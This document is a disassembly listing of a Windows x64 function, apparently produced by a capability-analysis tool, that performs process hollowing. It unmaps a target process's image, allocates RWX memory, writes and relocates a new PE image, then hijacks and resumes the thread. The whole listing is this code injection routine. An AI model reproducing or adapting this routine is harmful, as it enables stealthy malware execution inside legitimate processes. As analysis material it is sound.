Function at 0x140005c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x148
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x138], rax
mov dword [rsp + 0x78], 0
mov r8d, 4
lea rdx, [rsp + 0x118]
mov rcx, qword [rsp + 0x160]
call fcn.140002780
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0
jne 0x140005ced
mov eax, 0xffffffff
jmp 0x1400063cb
mov r8d, dword [rsp + 0x118]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.140002e50
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call fcn.140002f10
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x168]
call fcn.140002580
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.140002c50
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x68]
call fcn.140002c30
mov qword [rsp + 0x70], rax
lea rcx, [0x14000efdc]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xc8], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0xd8]
cdqe
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0
je 0x140005deb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_unmapping_section_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0
jne 0x140005e49
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllocEx_call_failed_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x30]
mov rax, qword [rax + 0x10]
sub rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x10]
mov qword [rax + 0x30], rcx
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x68]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005ec7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14000f838]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
mov qword [rsp + 0x60], 0
jmp 0x140005edf
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x28]
cmp qword [rsp + 0x60], rax
jae 0x140005fa8
imul rax, qword [rsp + 0x60], 0x28
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x30]
cmp dword [rcx + rax + 0x14], 0
jne 0x140005f0a
jmp 0x140005ed2
imul rax, qword [rsp + 0x60], 0x28
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
imul rax, qword [rsp + 0x60], 0x28
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0x10]
imul rcx, qword [rsp + 0x60], 0x28
mov rdx, qword [rsp + 0x48]
mov rdx, qword [rdx + 0x30]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005fa3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_writing_process_memory_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
jmp 0x140005ed2
cmp qword [rsp + 0xb8], 0
je 0x140006297
mov dword [rsp + 0x34], 0
jmp 0x140005fcb
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x28]
cmp dword [rsp + 0x34], eax
jae 0x140006297
lea rax, [rsp + 0x130]
lea rcx, str..reloc
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x130]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x80], 0xffffffffffffffff
inc qword [rsp + 0x80]
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x80]
cmp byte [rax + rcx], 0
jne 0x140006015
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x48]
mov rdx, qword [rdx + 0x30]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rsp + 0x130]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000606b
jmp 0x140005fc1
mov eax, dword [rsp + 0x34]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0x14]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x30], 0
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x100], rax
mov eax, dword [rsp + 0x104]
cmp dword [rsp + 0x30], eax
jae 0x140006290
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0x30]
add rax, 8
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x38], 0
jmp 0x140006149
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x38], eax
jae 0x14000628b
mov eax, dword [rsp + 0x30]
add rax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xa8]
movzx eax, word [rcx + rax*2]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x140006187
jmp 0x14000613f
mov eax, dword [rsp + 0x38]
mov ecx, 0xfff
mov rdx, qword [rsp + 0xa8]
movzx eax, word [rdx + rax*2]
and ax, cx
movzx eax, ax
mov rcx, qword [rsp + 0xb0]
add eax, dword [rcx]
mov dword [rsp + 0x7c], eax
mov qword [rsp + 0x128], 0
mov eax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x40]
add rax, qword [rcx + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x128]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140006212
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_reading_memory__0x_x_r_n
call fcn.140001070
jmp 0x14000613f
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x128], rax
mov eax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x40]
add rax, qword [rcx + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x128]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140006286
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_writing_memory__0x_x_r_n
call fcn.140001070
jmp 0x14000613f
jmp 0x14000613f
jmp 0x1400060ae
jmp 0x140006297
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x40]
add rax, qword [rcx + 0x10]
mov qword [rsp + 0x108], rax
mov ecx, 0x4d0
call fcn.14000b3c4
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x1400062f0
mov rdi, qword [rsp + 0x98]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xc0], rax
jmp 0x1400062fc
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140006350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_context_Erro_Code_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x108]
mov qword [rax + 0x80], rcx
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000639c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_setting_context_Error_Code_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x1400063c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_resuming_thread_Error_Code_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400063cb
xor eax, eax
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x148
pop rdi
pop rsi
ret